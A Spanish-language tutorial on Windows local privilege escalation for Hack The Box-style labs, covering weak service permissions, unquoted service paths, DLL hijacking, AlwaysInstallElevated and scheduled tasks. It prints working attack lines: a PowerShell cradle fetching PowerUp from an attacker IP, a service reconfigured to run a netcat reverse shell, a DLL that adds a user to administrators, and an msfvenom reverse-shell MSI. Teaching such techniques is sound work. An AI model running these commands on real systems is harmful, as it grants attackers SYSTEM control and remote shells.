Escalada en Windows: servicios, rutas sin comillas, DLL hijacking y AlwaysInstallElevated

Encontrar y abusar de servicios con permisos débiles, rutas sin comillas, DLL hijacking, tareas programadas y AlwaysInstallElevated, a mano o con winPEAS.

· 5 min de lectura

Si whoami /priv no te da nada (mira antes la guía de SeImpersonate y Potatoes), la siguiente pregunta en Windows es siempre la misma: ¿qué se ejecuta como SYSTEM y qué parte de eso puedo modificar? Un servicio, una DLL, una tarea programada o un instalador. Esta guía repasa los cuatro.

Enumeración rápida

Las herramientas automáticas te ahorran tiempo; la chuleta de escalada en Windows tiene los comandos manuales equivalentes.

# winPEAS: el más completo
.\winPEASx64.exe quiet servicesinfo applicationsinfo

# PowerUp (PowerSploit): rápido y con funciones para explotar lo que encuentra
. .\PowerUp.ps1
Invoke-AllChecks

Truco

Si la ejecución de scripts está bloqueada, carga PowerUp en memoria: IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/PowerUp.ps1'). Si estás en Constrained Language Mode no funcionará: lee AppLocker y CLM.

1. Servicios con permisos débiles

Un servicio guarda en el registro qué binario ejecuta (ImagePath) y con qué cuenta. Hay tres formas de secuestrarlo:

Qué puedes modificar Cómo se ve Qué haces
La configuración del servicio SERVICE_CHANGE_CONFIG o SERVICE_ALL_ACCESS en accesschk sc config para cambiar el binario
El binario del servicio (F), (M) o (W) para tu usuario en icacls Reemplazarlo por el tuyo
La clave del registro FullControl o SetValue sobre HKLM\SYSTEM\CurrentControlSet\Services\<svc> Cambiar ImagePath
# Permisos sobre servicios (Sysinternals)
.\accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
.\accesschk64.exe /accepteula -uwcqv %USERNAME% *

# Binario y cuenta de un servicio
sc qc NombreServicio
icacls "C:\Program Files\App\servicio.exe"

# Permisos sobre la clave del registro
Get-Acl HKLM:\SYSTEM\CurrentControlSet\Services\NombreServicio | Format-List

Abuso (necesitas poder reiniciar el servicio, o esperar a que la máquina se reinicie si arranca solo):

sc config NombreServicio binpath= "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
sc stop NombreServicio
sc start NombreServicio

Nota

El espacio detrás de binpath= es obligatorio. sc start dará un error de que el servicio no respondió, pero tu comando ya se habrá ejecutado como la cuenta del servicio.

2. Rutas sin comillas (unquoted service path)

Si la ruta del binario tiene espacios y no va entre comillas, Windows prueba cada trozo. Para C:\Program Files\Mi App\bin\servicio.exe intenta, en este orden:

C:\Program.exe
C:\Program Files\Mi.exe
C:\Program Files\Mi App\bin\servicio.exe

Si puedes escribir en C:\Program Files\ (raro) o en C:\Program Files\Mi App\ (más habitual), deja ahí Mi.exe y reinicia el servicio.

wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
Get-CimInstance Win32_Service | ? { $_.PathName -notmatch '^"' -and $_.PathName -match ' ' } | select Name,PathName,StartMode
icacls "C:\Program Files\Mi App"

3. DLL hijacking

Cuando un programa carga una DLL sin ruta absoluta, Windows la busca en este orden: la carpeta del programa, System32, la carpeta de Windows, la carpeta actual y luego cada carpeta del PATH. Si un servicio que corre como SYSTEM busca una DLL que no existe y tú puedes escribir en alguna de esas carpetas, tu DLL se cargará.

Cómo encontrarlo:

  • Process Monitor (en tu propio laboratorio, con el mismo programa): filtra por Result is NAME NOT FOUND y Path ends with .dll.
  • Carpetas del PATH en las que puedes escribir: $env:Path -split ';' | % { icacls $_ 2>$null | findstr /i "Users Everyone Authenticated" }.
  • Programas de terceros instalados fuera de Program Files (por ejemplo en C:\App\), donde los usuarios suelen tener permisos de escritura.

Una DLL mínima para probar, compilada desde Linux:

// x86_64-w64-mingw32-gcc -shared -o hijack.dll hijack.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD motivo, LPVOID r) {
    if (motivo == DLL_PROCESS_ATTACH) {
        system("cmd /c net localgroup administrators usuario /add");
    }
    return TRUE;
}

Mira las máquinas de DLL hijacking del catálogo: suele ser un servicio de terceros, no algo de Windows.

4. AlwaysInstallElevated

Dos claves del registro, que normalmente se ponen por GPO, hacen que cualquier usuario instale paquetes MSI como SYSTEM. Tienen que estar las dos a 1:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Si lo están, genera un MSI (con el generador de msfvenom) e instálalo:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o setup.msi
msiexec /quiet /qn /i C:\Windows\Temp\setup.msi

La máquina Love es el ejemplo clásico de AlwaysInstallElevated.

5. Tareas programadas y scripts de administración

Los administradores dejan scripts que se ejecutan solos: copias de seguridad, limpiezas, comprobaciones. Si puedes modificar el script o el binario que lanza la tarea, se ejecuta con los permisos del autor.

schtasks /query /fo LIST /v | findstr /i "TaskName Run Author"
Get-ScheduledTask | ? { $_.Principal.UserId -notmatch 'SYSTEM|LOCAL|NETWORK' } | select TaskName,TaskPath
icacls C:\Scripts\backup.ps1

No siempre verás la tarea (las de otros usuarios no aparecen). Busca pistas: carpetas como C:\Scripts, ficheros .ps1 o .bat con fecha de modificación reciente, o logs que se actualizan cada pocos minutos. Es la técnica de tareas y scripts de admin.

Errores típicos

  • Access is denied al hacer sc stop: puedes cambiar la configuración pero no reiniciar el servicio. Si su START_TYPE es AUTO_START, reiniciar la máquina (shutdown /r /t 0, si tienes el privilegio) también vale.
  • El binario que subes muere enseguida: un servicio tiene que responder al gestor de servicios o Windows lo mata a los 30 segundos. Usa un comando que lance otro proceso (cmd /c start ...) o un ejecutable de servicio de verdad (msfvenom -f exe-service).
  • La DLL se carga pero no pasa nada: arquitectura equivocada (32 frente a 64 bits) o el programa necesita una función exportada concreta para no cerrarse.

Y después

Si nada de esto aparece, revisa las credenciales guardadas en el registro y el historial y los exploits de Windows para versiones sin parchear. Y si la máquina está en un dominio, la escalada puede llegar por el lado de Active Directory: empieza por la guía de enumeración de AD.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Servicios mal configurados 7 máquinas

Ver las 7 máquinas →

DLL hijacking 7 máquinas

Ver las 7 máquinas →

AlwaysInstallElevated 1 máquina

Tareas programadas y scripts de admin 9 máquinas

Ver las 9 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo